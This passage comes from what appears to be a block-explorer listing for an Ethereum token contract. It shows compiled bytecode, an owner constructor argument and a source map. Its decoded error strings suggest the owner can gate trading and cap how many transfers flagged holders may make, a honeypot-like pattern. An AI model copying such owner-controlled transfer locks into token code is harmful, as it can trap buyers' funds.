5b600081359050611c0381611bdd565b92915050565b60008060408385031215611c2057611c1f6119ed565b5b6000611c2e85828601611a3b565b9250506020611c3f85828601611bf4565b9150509250929050565b611c5281611a12565b82525050565b6000602082019050611c6d6000830184611c49565b92915050565b60008060408385031215611c8a57611c896119ed565b5b6000611c9885828601611a3b565b9250506020611ca985828601611a3b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611cfa57607f821691505b60208210811415611d0e57611d0d611cb3565b5b50919050565b7f45524332303a204c414d424f207472616e7366657220616d6f756e742065786360008201527f6565647320616c6c6f77616e6365000000000000000000000000000000000000602082015250565b6000611d70602e8361193d565b9150611d7b82611d14565b604082019050919050565b60006020820190508181036000830152611d9f81611d63565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611de082611a50565b9150611deb83611a50565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e2057611e1f611da6565b5b828201905092915050565b7f4f776e61626c653a204c414d424f2063616c6c6572206973206e6f742074686560008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b6000611e8760268361193d565b9150611e9282611e2b565b604082019050919050565b60006020820190508181036000830152611eb681611e7a565b9050919050565b7f4163636f756e74206973204c414d424f20616c7265616479207468652076616c60008201527f7565206f6620276578636c756465642700000000000000000000000000000000602082015250565b6000611f1960308361193d565b9150611f2482611ebd565b604082019050919050565b60006020820190508181036000830152611f4881611f0c565b9050919050565b7f54726164696e6720616c7265616479204c414d424f20656e61626c65642e0000600082015250565b6000611f85601e8361193d565b9150611f9082611f4f565b602082019050919050565b60006020820190508181036000830152611fb481611f78565b9050919050565b7f4c414d424f45524332303a2064656372656173656420616c6c6f77616e63652060008201527f62656c6f77207a65726f00000000000000000000000000000000000000000000602082015250565b6000612017602a8361193d565b915061202282611fbb565b604082019050919050565b600060208201905081810360008301526120468161200a565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865204c414d424f2060008201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b60006120a9602c8361193d565b91506120b48261204d565b604082019050919050565b600060208201905081810360008301526120d88161209c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061213b60248361193d565b9150612146826120df565b604082019050919050565b6000602082019050818103600083015261216a8161212e565b9050919050565b7f45524332303a204c414d424f20617070726f766520746f20746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b60006121cd60288361193d565b91506121d882612171565b604082019050919050565b600060208201905081810360008301526121fc816121c0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061225f60258361193d565b915061226a82612203565b604082019050919050565b6000602082019050818103600083015261228e81612252565b9050919050565b7f45524332303a207472616e73666572204c414d424f20746f20746865207a657260008201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b60006122f160298361193d565b91506122fc82612295565b604082019050919050565b60006020820190508181036000830152612320816122e4565b9050919050565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b600061235d60188361193d565b915061236882612327565b602082019050919050565b6000602082019050818103600083015261238c81612350565b9050919050565b7f45524332304c414d424f3a207472616e736665722066726f6d20746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b60006123ef602a8361193d565b91506123fa82612393565b604082019050919050565b6000602082019050818103600083015261241e816123e2565b9050919050565b7f4c414d424f3a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061248160238361193d565b915061248c82612425565b604082019050919050565b600060208201905081810360008301526124b081612474565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74204c414d424f2065786360008201527f656564732062616c616e63650000000000000000000000000000000000000000602082015250565b6000612513602c8361193d565b915061251e826124b7565b604082019050919050565b6000602082019050818103600083015261254281612506565b9050919050565b7f4e6f207472616e73666572204c414d424f207269676874732072656d61696e6960008201527f6e67000000000000000000000000000000000000000000000000000000000000602082015250565b60006125a560228361193d565b91506125b082612549565b604082019050919050565b600060208201905081810360008301526125d481612598565b9050919050565b60006125e682611a50565b915060008214156125fa576125f9611da6565b5b60018203905091905056fea2646970667358221220e553fad3555579f035fa0d38190f1e4efdee3fc9b82a58603867c90935e98a6464736f6c634300080c00330000000000000000000000003a0c7fd1f42a63f74c95c95d07049ec1538cbce2

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a457c2d71161006f578063a457c2d714610401578063a9059cbb1461043e578063b7e04c111461047b578063dd62ed3e146104b8578063f2fde38b146104f5578063fb2781001461051e57610135565b8063715018a61461034057806375d5e02c146103575780638a8c523c146103945780638da5cb5b146103ab57806395d89b41146103d657610135565b80633520a3b4116100f25780633520a3b4146102355780633950935114610272578063484d993f146102af5780634ada218b146102d857806370a082311461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610547565b60405161015c91906119cb565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611a86565b6105d9565b6040516101999190611ae1565b60405180910390f35b3480156101ae57600080fd5b506101b76105f7565b6040516101c49190611b0b565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611b26565b610601565b6040516102019190611ae1565b60405180910390f35b34801561021657600080fd5b5061021f610720565b60405161022c9190611b95565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190611bb0565b610729565b6040516102699190611ae1565b60405180910390f35b34801561027e57600080fd5b5061029960048036038101906102949190611a86565b61077f565b6040516102a69190611ae1565b60405180910390f35b3480156102bb57600080fd5b506102d660048036038101906102d19190611c09565b61082b565b005b3480156102e457600080fd5b506102ed610995565b6040516102fa9190611ae1565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190611bb0565b6109a8565b6040516103379190611b0b565b60405180910390f35b34801561034c57600080fd5b506103556109f0565b005b34801561036357600080fd5b5061037e60048036038101906103799190611bb0565b610a78565b60405161038b9190611ae1565b60405180910390f35b3480156103a057600080fd5b506103a9610ace565b005b3480156103b757600080fd5b506103c0610bb7565b6040516103cd9190611c58565b60405180910390f35b3480156103e257600080fd5b506103eb610be1565b6040516103f891906119cb565b60405180910390f35b34801561040d57600080fd5b5061042860048036038101906104239190611a86565b610c73565b6040516104359190611ae1565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190611a86565b610d5e565b6040516104729190611ae1565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190611bb0565b610d7c565b6040516104af9190611b0b565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da9190611c73565b610dc5565b6040516104ec9190611b0b565b60405180910390f35b34801561050157600080fd5b5061051c60048036038101906105179190611bb0565b610e4c565b005b34801561052a57600080fd5b5061054560048036038101906105409190611a86565b610f44565b005b60606002805461055690611ce2565b80601f016020809104026020016040519081016040528092919081815260200182805461058290611ce2565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b60006105ed6105e6611065565b848461106d565b6001905092915050565b6000600454905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064d611065565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461070957828110156106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90611d86565b60405180910390fd5b61070885610700611065565b85840361106d565b5b610714858585611238565b60019150509392505050565b60006012905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061082161078c611065565b84846001600061079a611065565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461081c9190611dd5565b61106d565b6001905092915050565b610833611065565b73ffffffffffffffffffffffffffffffffffffffff16610851610bb7565b73ffffffffffffffffffffffffffffffffffffffff16146108a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089e90611e9d565b60405180910390fd5b801515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561093a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093190611f2f565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109f8611065565b73ffffffffffffffffffffffffffffffffffffffff16610a16610bb7565b73ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6390611e9d565b60405180910390fd5b610a76600061143a565b565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ad6611065565b73ffffffffffffffffffffffffffffffffffffffff16610af4610bb7565b73ffffffffffffffffffffffffffffffffffffffff1614610b4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4190611e9d565b60405180910390fd5b600960009054906101000a900460ff1615610b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9190611f9b565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610bf090611ce2565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1c90611ce2565b8015610c695780601f10610c3e57610100808354040283529160200191610c69565b820191906000526020600020905b815481529060010190602001808311610c4c57829003601f168201915b5050505050905090565b60008060016000610c82611065565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d369061202d565b60405180910390fd5b610d53610d4a611065565b8585840361106d565b600191505092915050565b6000610d72610d6b611065565b8484611238565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e54611065565b73ffffffffffffffffffffffffffffffffffffffff16610e72610bb7565b73ffffffffffffffffffffffffffffffffffffffff1614610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611e9d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f906120bf565b60405180910390fd5b610f418161143a565b50565b610f4c611065565b73ffffffffffffffffffffffffffffffffffffffff16610f6a610bb7565b73ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb790611e9d565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d490612151565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561114d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611144906121e3565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122b9190611b0b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129f90612275565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f90612307565b60405180910390fd5b600960009054906101000a900460ff168061137c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806113d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61140f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140690612373565b60405180910390fd5b60008114156114295761142483836000611500565b611435565b611434838383611500565b5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790612405565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d790612497565b60405180910390fd5b6115eb838383611781565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166890612529565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117049190611dd5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117689190611b0b565b60405180910390a361177b84848461192d565b50505050565b61178c838383611060565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117f65750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561184b5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611928576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116118d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c9906125bb565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611922906125db565b91905055505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561196c578082015181840152602081019050611951565b8381111561197b576000848401525b50505050565b6000601f19601f8301169050919050565b600061199d82611932565b6119a7818561193d565b93506119b781856020860161194e565b6119c081611981565b840191505092915050565b600060208201905081810360008301526119e58184611992565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a1d826119f2565b9050919050565b611a2d81611a12565b8114611a3857600080fd5b50565b600081359050611a4a81611a24565b92915050565b6000819050919050565b611a6381611a50565b8114611a6e57600080fd5b50565b600081359050611a8081611a5a565b92915050565b60008060408385031215611a9d57611a9c6119ed565b5b6000611aab85828601611a3b565b9250506020611abc85828601611a71565b9150509250929050565b60008115159050919050565b611adb81611ac6565b82525050565b6000602082019050611af66000830184611ad2565b92915050565b611b0581611a50565b82525050565b6000602082019050611b206000830184611afc565b92915050565b600080600060608486031215611b3f57611b3e6119ed565b5b6000611b4d86828701611a3b565b9350506020611b5e86828701611a3b565b9250506040611b6f86828701611a71565b9150509250925092565b600060ff82169050919050565b611b8f81611b79565b82525050565b6000602082019050611baa6000830184611b86565b92915050565b600060208284031215611bc657611bc56119ed565b5b6000611bd484828501611a3b565b91505092915050565b611be681611ac6565b8114611bf157600080fd5b50565b600081359050611c0381611bdd565b92915050565b60008060408385031215611c2057611c1f6119ed565b5b6000611c2e85828601611a3b565b9250506020611c3f85828601611bf4565b9150509250929050565b611c5281611a12565b82525050565b6000602082019050611c6d6000830184611c49565b92915050565b60008060408385031215611c8a57611c896119ed565b5b6000611c9885828601611a3b565b9250506020611ca985828601611a3b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611cfa57607f821691505b60208210811415611d0e57611d0d611cb3565b5b50919050565b7f45524332303a204c414d424f207472616e7366657220616d6f756e742065786360008201527f6565647320616c6c6f77616e6365000000000000000000000000000000000000602082015250565b6000611d70602e8361193d565b9150611d7b82611d14565b604082019050919050565b60006020820190508181036000830152611d9f81611d63565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611de082611a50565b9150611deb83611a50565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e2057611e1f611da6565b5b828201905092915050565b7f4f776e61626c653a204c414d424f2063616c6c6572206973206e6f742074686560008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b6000611e8760268361193d565b9150611e9282611e2b565b604082019050919050565b60006020820190508181036000830152611eb681611e7a565b9050919050565b7f4163636f756e74206973204c414d424f20616c7265616479207468652076616c60008201527f7565206f6620276578636c756465642700000000000000000000000000000000602082015250565b6000611f1960308361193d565b9150611f2482611ebd565b604082019050919050565b60006020820190508181036000830152611f4881611f0c565b9050919050565b7f54726164696e6720616c7265616479204c414d424f20656e61626c65642e0000600082015250565b6000611f85601e8361193d565b9150611f9082611f4f565b602082019050919050565b60006020820190508181036000830152611fb481611f78565b9050919050565b7f4c414d424f45524332303a2064656372656173656420616c6c6f77616e63652060008201527f62656c6f77207a65726f00000000000000000000000000000000000000000000602082015250565b6000612017602a8361193d565b915061202282611fbb565b604082019050919050565b600060208201905081810360008301526120468161200a565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865204c414d424f2060008201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b60006120a9602c8361193d565b91506120b48261204d565b604082019050919050565b600060208201905081810360008301526120d88161209c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061213b60248361193d565b9150612146826120df565b604082019050919050565b6000602082019050818103600083015261216a8161212e565b9050919050565b7f45524332303a204c414d424f20617070726f766520746f20746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b60006121cd60288361193d565b91506121d882612171565b604082019050919050565b600060208201905081810360008301526121fc816121c0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061225f60258361193d565b915061226a82612203565b604082019050919050565b6000602082019050818103600083015261228e81612252565b9050919050565b7f45524332303a207472616e73666572204c414d424f20746f20746865207a657260008201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b60006122f160298361193d565b91506122fc82612295565b604082019050919050565b60006020820190508181036000830152612320816122e4565b9050919050565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b600061235d60188361193d565b915061236882612327565b602082019050919050565b6000602082019050818103600083015261238c81612350565b9050919050565b7f45524332304c414d424f3a207472616e736665722066726f6d20746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b60006123ef602a8361193d565b91506123fa82612393565b604082019050919050565b6000602082019050818103600083015261241e816123e2565b9050919050565b7f4c414d424f3a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061248160238361193d565b915061248c82612425565b604082019050919050565b600060208201905081810360008301526124b081612474565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74204c414d424f2065786360008201527f656564732062616c616e63650000000000000000000000000000000000000000602082015250565b6000612513602c8361193d565b915061251e826124b7565b604082019050919050565b6000602082019050818103600083015261254281612506565b9050919050565b7f4e6f207472616e73666572204c414d424f207269676874732072656d61696e6960008201527f6e67000000000000000000000000000000000000000000000000000000000000602082015250565b60006125a560228361193d565b91506125b082612549565b604082019050919050565b600060208201905081810360008301526125d481612598565b9050919050565b60006125e682611a50565b915060008214156125fa576125f9611da6565b5b60018203905091905056fea2646970667358221220e553fad3555579f035fa0d38190f1e4efdee3fc9b82a58603867c90935e98a6464736f6c634300080c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000003a0c7fd1f42a63f74c95c95d07049ec1538cbce2

-----Decoded View---------------
Arg [0] : owner (address): 0x3a0C7fd1f42A63F74c95c95d07049EC1538Cbce2

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000003a0c7fd1f42a63f74c95c95d07049ec1538cbce2


Deployed Bytecode Sourcemap

7383:2351:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2628:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3542:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2949:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3719:579;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2848:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8520:109;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4306:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7762:265;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9002:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3065:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1734:94;;;;;;;;;;;;;:::i;:::-;;8035:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9037:152;;;;;;;;;;;;;:::i;:::-;;1505:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2736:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4529:418;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3200:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8403:109;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3383:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1836:198;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8235:160;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2628:100;2682:13;2715:5;2708:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2628:100;:::o;3542:169::-;3625:4;3642:39;3651:12;:10;:12::i;:::-;3665:7;3674:6;3642:8;:39::i;:::-;3699:4;3692:11;;3542:169;;;;:::o;2949:108::-;3010:7;3037:12;;3030:19;;2949:108;:::o;3719:579::-;3859:4;3876:24;3903:11;:19;3915:6;3903:19;;;;;;;;;;;;;;;:33;3923:12;:10;:12::i;:::-;3903:33;;;;;;;;;;;;;;;;3876:60;;3971:17;3951:16;:37;3947:271;;4033:6;4013:16;:26;;4005:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;4134:57;4143:6;4151:12;:10;:12::i;:::-;4184:6;4165:16;:25;4134:8;:57::i;:::-;3947:271;4230:36;4240:6;4248:9;4259:6;4230:9;:36::i;:::-;4286:4;4279:11;;;3719:579;;;;;:::o;2848:93::-;2906:5;2931:2;2924:9;;2848:93;:::o;8520:109::-;8577:4;8601:10;:20;8612:8;8601:20;;;;;;;;;;;;;;;;;;;;;;;;;8594:27;;8520:109;;;:::o;4306:215::-;4394:4;4411:80;4420:12;:10;:12::i;:::-;4434:7;4480:10;4443:11;:25;4455:12;:10;:12::i;:::-;4443:25;;;;;;;;;;;;;;;:34;4469:7;4443:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;4411:8;:80::i;:::-;4509:4;4502:11;;4306:215;;;;:::o;7762:265::-;1651:12;:10;:12::i;:::-;1640:23;;:7;:5;:7::i;:::-;:23;;;1632:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;7903:8:::1;7865:46;;:25;:34;7891:7;7865:34;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;7857:106;;;;;;;;;;;;:::i;:::-;;;;;;;;;8011:8;7974:25;:34;8000:7;7974:34;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;7762:265:::0;;:::o;9002:26::-;;;;;;;;;;;;;:::o;3065:127::-;3139:7;3166:9;:18;3176:7;3166:18;;;;;;;;;;;;;;;;3159:25;;3065:127;;;:::o;1734:94::-;1651:12;:10;:12::i;:::-;1640:23;;:7;:5;:7::i;:::-;:23;;;1632:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;1799:21:::1;1817:1;1799:9;:21::i;:::-;1734:94::o:0;8035:140::-;8109:4;8133:25;:34;8159:7;8133:34;;;;;;;;;;;;;;;;;;;;;;;;;8126:41;;8035:140;;;:::o;9037:152::-;1651:12;:10;:12::i;:::-;1640:23;;:7;:5;:7::i;:::-;:23;;;1632:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;9100:14:::1;;;;;;;;;;;9099:15;9091:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;9177:4;9160:14;;:21;;;;;;;;;;;;;;;;;;9037:152::o:0;1505:87::-;1551:7;1578:6;;;;;;;;;;;1571:13;;1505:87;:::o;2736:104::-;2792:13;2825:7;2818:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2736:104;:::o;4529:418::-;4622:4;4639:24;4666:11;:25;4678:12;:10;:12::i;:::-;4666:25;;;;;;;;;;;;;;;:34;4692:7;4666:34;;;;;;;;;;;;;;;;4639:61;;4739:15;4719:16;:35;;4711:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;4837:67;4846:12;:10;:12::i;:::-;4860:7;4888:15;4869:16;:34;4837:8;:67::i;:::-;4935:4;4928:11;;;4529:418;;;;:::o;3200:175::-;3286:4;3303:42;3313:12;:10;:12::i;:::-;3327:9;3338:6;3303:9;:42::i;:::-;3363:4;3356:11;;3200:175;;;;:::o;8403:109::-;8460:7;8487;:17;8495:8;8487:17;;;;;;;;;;;;;;;;8480:24;;8403:109;;;:::o;3383:151::-;3472:7;3499:11;:18;3511:5;3499:18;;;;;;;;;;;;;;;:27;3518:7;3499:27;;;;;;;;;;;;;;;;3492:34;;3383:151;;;;:::o;1836:198::-;1651:12;:10;:12::i;:::-;1640:23;;:7;:5;:7::i;:::-;:23;;;1632:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;1945:1:::1;1925:22;;:8;:22;;;;1917:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;2007:19;2017:8;2007:9;:19::i;:::-;1836:198:::0;:::o;8235:160::-;1651:12;:10;:12::i;:::-;1640:23;;:7;:5;:7::i;:::-;:23;;;1632:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;8343:6:::1;8323:7;:17;8331:8;8323:17;;;;;;;;;;;;;;;:26;;;;8383:4;8360:10;:20;8371:8;8360:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;8235:160:::0;;::